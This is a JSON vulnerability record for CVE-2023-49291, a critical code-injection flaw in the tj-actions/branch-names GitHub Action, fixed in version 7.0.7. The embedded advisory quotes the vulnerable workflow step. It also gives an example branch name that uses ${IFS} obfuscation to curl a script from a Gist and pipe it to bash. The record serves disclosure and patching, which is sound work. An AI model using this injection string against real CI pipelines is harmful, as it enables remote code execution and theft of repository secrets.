{"id":"CVE-2023-49291","aliases":["GHSA-8v8w-v8xg-79rf"],"summary":"Improper Sanitization of Branch Name Leads to Arbitrary Code Injection","published_at":"2023-12-04T23:21:33.367Z","modified_at":"2024-08-02T21:53:44.957Z","products":[{"slug":"github-actions","name":"GitHub Actions","category":"gitops-cicd"}],"rating":{"severity":"critical","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false},"fix_available":true,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.014480000361800194,"percentile":0.7397500276565552,"date":"2026-11-20T00:00:00Z"},"priority":11.3,"record_count":3,"vendors":["GitHub"],"details":"tj-actions/branch-names is a Github action to retrieve branch or tag names with support for all events. The `tj-actions/branch-names` GitHub Actions improperly references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. As a result an attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions. This vulnerability has been addressed in version 7.0.7. Users are advised to upgrade. There are no known workarounds for this vulnerability.","affected_stack":[{"ecosystem":"GitHub Actions","package":"tj-actions/branch-names","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.7"}]}],"fixed":["7.0.7"],"provider":"osv","source":"GHSA-8v8w-v8xg-79rf","relation":"self"}],"affected_other":[{"ecosystem":"CVE","package":"tj-actions/branch-names","versions":["< 7.0.7"],"provider":"cvelistv5","source":"CVE-2023-49291","relation":"self"},{"ecosystem":"NVD","package":"tj-actions:branch-names","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.0"}]},{"type":"ECOSYSTEM","events":[{"introduced":"7.0.1"},{"fixed":"7.0.7"}]}],"fixed":["7.0.0","7.0.7"],"provider":"nvd","source":"CVE-2023-49291","relation":"self"}],"product_status":[],"records":[{"provider":"cvelistv5","source_id":"CVE-2023-49291","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2023-49291","license":"CC-BY-4.0","published_at":"2023-12-04T23:21:33.367Z","modified_at":"2024-08-02T21:53:44.957Z","summary":"Improper Sanitization of Branch Name Leads to Arbitrary Code Injection","details":"tj-actions/branch-names is a Github action to retrieve branch or tag names with support for all events. The `tj-actions/branch-names` GitHub Actions improperly references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. As a result an attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions. This vulnerability has been addressed in version 7.0.7. Users are advised to upgrade. There are no known workarounds for this vulnerability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","source":"CVE-2023-49291"}],"affected":[{"ecosystem":"CVE","package":"tj-actions/branch-names","versions":["< 7.0.7"],"provider":"cvelistv5","source":"CVE-2023-49291","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf"},{"type":"WEB","url":"https://github.com/tj-actions/branch-names/commit/4923d1ca41f928c24f1c1b3af9daaadfb71e6337"},{"type":"WEB","url":"https://github.com/tj-actions/branch-names/commit/6c999acf206f5561e19f46301bb310e9e70d8815"},{"type":"WEB","url":"https://github.com/tj-actions/branch-names/commit/726fe9ba5e9da4fcc716223b7994ffd0358af060"},{"type":"WEB","url":"https://securitylab.github.com/research/github-actions-untrusted-input"}]},{"provider":"nvd","source_id":"CVE-2023-49291","relation":"self","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49291","severity":[],"affected":[{"ecosystem":"NVD","package":"tj-actions:branch-names","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.0"}]},{"type":"ECOSYSTEM","events":[{"introduced":"7.0.1"},{"fixed":"7.0.7"}]}],"fixed":["7.0.0","7.0.7"],"provider":"nvd","source":"CVE-2023-49291","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"GHSA-8v8w-v8xg-79rf","relation":"self","url":"https://osv.dev/vulnerability/GHSA-8v8w-v8xg-79rf","license":"CC-BY-4.0","published_at":"2023-12-05T23:30:10Z","modified_at":"2023-12-06T20:48:41Z","summary":"tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection","details":"### Summary\n\nThe `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.\n\n### Details \n\nThe vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.\n\n```yml\nruns:\n  using: \"composite\"\n  steps:\n    - id: branch\n      run: |\n        # \"Set branch names...\"\n        if [[ \"${{ github.ref }}\" != \"refs/tags/\"* ]]; then\n          BASE_REF=$(printf \"%q\" \"${{ github.event.pull_request.base.ref || github.base_ref }}\")\n          HEAD_REF=$(printf \"%q\" \"${{ github.event.pull_request.head.ref || github.head_ref }}\")\n          REF=$(printf \"%q\" \"${{ github.ref }}\")\n```\n\nAn attacker can use a branch name to inject arbitrary code, for example: `Test\")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$(\"foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.\n\n### Impact\nAn attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.\n\n### Reference\n- https://securitylab.github.com/research/github-actions-untrusted-input","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N","source":"GHSA-8v8w-v8xg-79rf"}],"affected":[{"ecosystem":"GitHub Actions","package":"tj-actions/branch-names","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.7"}]}],"fixed":["7.0.7"],"provider":"osv","source":"GHSA-8v8w-v8xg-79rf","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49291"},{"type":"WEB","url":"https://github.com/tj-actions/branch-names/commit/4923d1ca41f928c24f1c1b3af9daaadfb71e6337"},{"type":"WEB","url":"https://github.com/tj-actions/branch-names/commit/6c999acf206f5561e19f46301bb310e9e70d8815"},{"type":"WEB","url":"https://github.com/tj-actions/branch-names/commit/726fe9ba5e9da4fcc716223b7994ffd0358af060"},{"type":"PACKAGE","url":"https://github.com/tj-actions/branch-names"},{"type":"WEB","url":"https://securitylab.github.com/research/github-actions-untrusted-input"}]}],"references":[{"type":"WEB","url":"https://github.com/tj-actions/branch-names/security/advisories/GHSA-8v8w-v8xg-79rf"},{"type":"WEB","url":"https://github.com/tj-actions/branch-names/commit/4923d1ca41f928c24f1c1b3af9daaadfb71e6337"},{"type":"WEB","url":"https://github.com/tj-actions/branch-names/commit/6c999acf206f5561e19f46301bb310e9e70d8815"},{"type":"WEB","url":"https://github.com/tj-actions/branch-names/commit/726fe9ba5e9da4fcc716223b7994ffd0358af060"},{"type":"WEB","url":"https://securitylab.github.com/research/github-actions-untrusted-input"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49291"},{"type":"PACKAGE","url":"https://github.com/tj-actions/branch-names"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2023-49291","url":"https://www.cve.org/CVERecord?id=CVE-2023-49291","license":"CC-BY-4.0","modified_at":"2024-08-02T21:53:44.957Z","relation":"self"},{"provider":"nvd","source_id":"CVE-2023-49291","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49291","relation":"self"},{"provider":"osv","source_id":"GHSA-8v8w-v8xg-79rf","url":"https://osv.dev/vulnerability/GHSA-8v8w-v8xg-79rf","license":"CC-BY-4.0","modified_at":"2023-12-06T20:48:41Z","relation":"self"}]}
